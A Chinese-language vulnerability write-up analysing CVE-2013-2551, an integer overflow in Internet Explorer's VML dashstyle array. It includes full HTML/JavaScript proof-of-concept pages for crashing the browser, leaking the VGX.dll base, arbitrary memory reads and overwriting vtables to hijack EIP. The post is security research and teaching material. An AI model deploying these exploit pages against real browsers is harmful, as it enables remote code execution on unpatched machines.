Internet Explorer漏洞分析(二)——CVE-2013-2551
1.本文一共2850个字 29张图 预计阅读时间11分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章从CVE-2013-2551漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
0x01 漏洞信息
0x01.1 漏洞简述
•编号：CVE-2013-2551•类型：整数溢出(Integer Overflow)•漏洞影响：远程代码执行(RCE)•CVSS 2.0：9.3
VGX.dll中COALineDashStyleArray::put_length函数在处理length数据时未做有效验证，以致length为负数可造成整数溢出，进而实现任意读写。
0x01.2 漏洞影响
Microsoft Internet Explorer 6—10
0x01.3 修复方案
[MS13-037]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-037
0x02 漏洞分析
0x02.1 分析环境
•OS版本：Windows XP Service Pack 3•Internet Explorer版本：8.0.6001.18702•VGX.dll版本：8.0.6001.18702
0x02.2 前置知识
VML的全称是Vector Markup Language(矢量可标记语言)，其基于XML，矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔，能实现你所想要的图形，而且结合脚本，可以让图形产生动态的效果。(不仅是IE，Microsoft Office同样支持VML)
使用VML首先要通过<style>引入：
<style>v: * { behavior:url(#default#VML); display:inline-block }</style>之后声明VML Namespace：
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />如此便可添加VML元素以绘制图形。
一例:
<html><title>VML Sample</title><!-- Include the VML behavior --><style>v: * { behavior:url(#default#VML); display:inline-block }</style><!-- Declare the VML namespace --><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body><v:shapefillcolor="green"style="position:relative;top:1;left:1;width:200;height:200"path = "m 1,1 l 1,200, 200,200, 200,1 x e"></v:shape></body></html>
Shape是VML最基本的对象，利用它可以画出所有你想要的图形。其主要属性Path可参阅[VML Path Attribute—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-path-attribute。
0x02.3 详细分析
使用IE打开poc.html：
<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>POC by VUPEN</title><!-- Include the VML behavior --><style>v: * { behavior:url(#default#VML); display:inline-block }</style><!-- Declare the VML namespace --><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x400; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function crashme(){var vml1 = document.getElementById("vml1")var shape = document.getElementById("shape")for (var i=0; i<0x400; i++){ //set up the heapa[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;}for (var i=0; i<0x400; i++){a[i].rotation; //create a COARuntimeStyleif (i == 0x300) { //allocate an ORG array of size B0hvml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"}}vml1.dashstyle.array.length = 0 - 1shape.dashstyle.array.length = 0 - 1for (var i=0; i<0x400; i++) {a[i].marginLeft = "a";marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);if (marginLeftAddress > 0) {try{shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;}catch(e) {continue}}}}</script><body onload="createRects();"><v:oval><v:stroke id="vml1"/></v:oval><v:oval><v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/></v:oval><input value="crash!!!"type="button" onclick="crashme();"></input></body></html>
允许阻止内容后，WinDbg附加进程并运行，单击crash按钮，崩溃点如下：
使用gflags.exe为iexplore.exe开启页堆，WinDbg启动iexplore.exe，通过.childdbg 1命令启用子进程调试并运行后，崩溃点如下：
kb查看调用堆栈：
重新启动iexplore.exe，加载VGX.dll完成后于ORG::Get函数处设断，查看其this参数：
继续向下分析，可以看到vgx!ORG对象结构偏移0x10处存储指向dashstyle数组指针：
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);操作由memecpy完成：
漏洞成因显然不位于该函数，继续向上回溯至vgx!COALineDashStyleArray::get_item，其调用vgx!ORG::CElements获取数组元素个数：
要读取元素下标需大于0xFFFFFFFF，小于vgx!ORG对象结构偏移0x04处值(WORD)。若下标合法，之后便会调用vgx!ORG::Get。可以从上图看到数组Length值0xffff，该值需跟进COALineDashStyleArray::put_length函数分析。
首先获取数组原长度，与更改长度进行比较：
此处即为漏洞触发位置，其调用vgx!ORG::CElements函数获取长度使用movzx eax, word ptr [eax+4]指令，将长度当作无符号整数处理(而非采用movsx指令)，但跳转语句jge是基于有符号整数比较的跳转。
大于等于则会调用vgx!ORG::DeleteRange：
跟进发现其调用MsoDeletePx：
继续跟进，写入更改长度操作位于MsoFRemovePx函数内：
如此一来，将数组Length修改为0xFFFF，进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item函数对应越界读操作，下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item函数，其与get_item不同之处是调用vgx!ORG::PGet函数：
该函数用于计算写入位置：
之后写入操作由put_item中mov [eax], ecx指令完成：
0x02.4 利用分析
0x02.4a 信息泄露
有两种信息泄露方法，详见下文分析。
_anchorRect属性
访问_anchorRect属性时会调用COAShape::get__anchorRect函数，而该函数会通过malloc申请0x10字节空间：
该空间用于存储COAReturnedPointsForAnchor对象：
如此一来，可申请大量空间存储COAReturnedPointsForAnchor对象，中间放置Dashstyle Array，之后便可访问后续COAReturnedPointsForAnchor对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor对象：
for(var i=0; i<0x1000; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}....for (var i=0; i<0x1000; i++){a[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i==0x800){vml1.dashstyle="1 2 3 4";}}
由上图可以看到是COAShape对象，其虚表相对于VGX.dll基址偏移为0x82a48。经计算，读取该地址数组下标为0x12，故笔者构造信息泄露POC如下：
<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>INFO LEAK</title><style>v: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body onload="createRects(); info_leak();"><v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval><v:oval><v:stroke id="vml1"/></v:oval></body><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x1000; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function info_leak(){var vml1 = document.getElementById("vml1")for (var i=0; i<0x1000; i++){a[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i==0x800){vml1.dashstyle="1 2 3 4";}}vml1.dashstyle.array.length = 0 - 1;var leak = vml1.dashstyle.array.item(0x12);alert(leak-0x82a48);}</script></html>
_vgRuntimeStyle属性
_vgRuntimeStyle.rotation对应COARuntimeStyle::get_rotation函数，初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation——>CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo)：
实际占用空间大小：
那么于其中插入Dashstyle Array大小为0xB0(即44个元素，加上头部占用8字节，恰为0xB8)：
之后写_vgRuntimeStyle.marginLeft，对应COARuntimeStyle::put_marginLeft函数，由于先前已经申请内存空间，该函数调用CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo时便不会再次申请，而是返回内存地址，写入字符位置相对于该地址偏移为0x58：
而读_vgRuntimeStyle.marginLeft，对应COARuntimeStyle::get_marginLeft函数，该函数会将偏移0x58处指针指向内容读取出来：
如此一来，控制0x58处指针内容，可实现任意地址读取。
利用漏洞可读写该地址处内容，下标为0x2E(0x2B对应数组最后一个元素，0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下：
<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>INFO LEAK</title><style>v: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body onload="createRects(); exploit();"><v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval><v:oval><v:stroke id="vml1"/></v:oval></body><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x400; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function exploit(){var vml1 = document.getElementById("vml1")for (var i=0; i<0x400; i++){a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;}for (var i=0; i<0x400; i++){a[i].rotation;if (i == 0x300) {vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"}}var length_orig = vml1.dashstyle.array.length;vml1.dashstyle.array.length = 0 - 1;for (var i=0; i<0x400; i++){a[i].marginLeft = "a";marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);if (marginLeftAddress > 0) {vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;var leak = a[i].marginLeft;vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;vml1.dashstyle.array.length = length_orig;alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));return;}}}</script></html>
0x02.4b 劫持EIP
后续覆盖虚表指针劫持EIP部分，可能是由于笔者环境问题，并未完成。重新搭建环境如下：
•OS版本：Windows 7 Service Pack 1 x86•Internet Explorer版本：8.0.7601.17514•VGX.dll版本：8.0.7600.16385
该环境下对象布局稍有不同：
可以有两种不同的方式覆盖虚表指针。
vgx!COAReturnedPointsForAnchor::vftable：
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x1000; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function exploit(){var vml1 = document.getElementById("vml1")for (var i=0; i<0x1000; i++){a[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i == 0x800) {vml1.dashstyle = "1 2 3 4"}}vml1.dashstyle.array.length = 0 - 1;vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;for (var i=0; i<0x1000; i++){delete a[i];CollectGarbage();}}</script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>
vgx!COAShape::vftable：
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x1000; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function exploit(){var vml1 = document.getElementById("vml1")for (var i=0; i<0x1000; i++){a[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i == 0x800) {vml1.dashstyle = "1 2 3 4"}}vml1.dashstyle.array.length = 0 - 1;vml1.dashstyle.array.item(6) = 0x0c0c0c0c;for (var i=0; i<0x1000; i++){delete a[i];CollectGarbage();}location.reload();}</script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>
第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp直接交换ECX与ESP的gadget)，需要再配合两次漏洞进行越界写：
</script><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){for(var i=0; i<0x1000; i++){rect_array[i] = document.createElement("v:shape")rect_array[i].id = "rect" + i.toString()document.body.appendChild(rect_array[i])}}function exploit(){var vml1 = document.getElementById("vml1")for (var i=0; i<0x1000; i++){a[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i == 0x800) {vml1.dashstyle = "1 2 3 4"}}vml1.dashstyle.array.length = 0 - 1;vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;for (var i=0; i<0x1000; i++){delete a[i];CollectGarbage();}}</script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>
与之相配合堆上gadgets如下：
而第二种覆盖方式，直接用xchg eax,esp;ret这样的gadget即可。两种利用方式效果展示：
0x03 参阅链接
•[Vector Markup Language (VML)—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/web-workshop—specs—standards—-introduction-to-vector-markup-language–vml-•[Shape Element (VML)—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/shape-element–vml•[VML Stroke Element—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-stroke-element•[VML DashStyle Attribute]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-dashstyle-attribute•[VML教程—美洲豹]http://www.t086.com/code/vml/index.html•[—W3school ]https://www.w3school.com.cn/tags/tag_meta.asp•[VUPEN Blog]https://web.archive.org/web/20130608020050/http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php•[Hpasserby Blog]https://hpasserby.top/post/ef2727d8.html
原文始发于微信公众号（Gcow安全团队）：Internet Explorer漏洞分析(二)——CVE-2013-2551
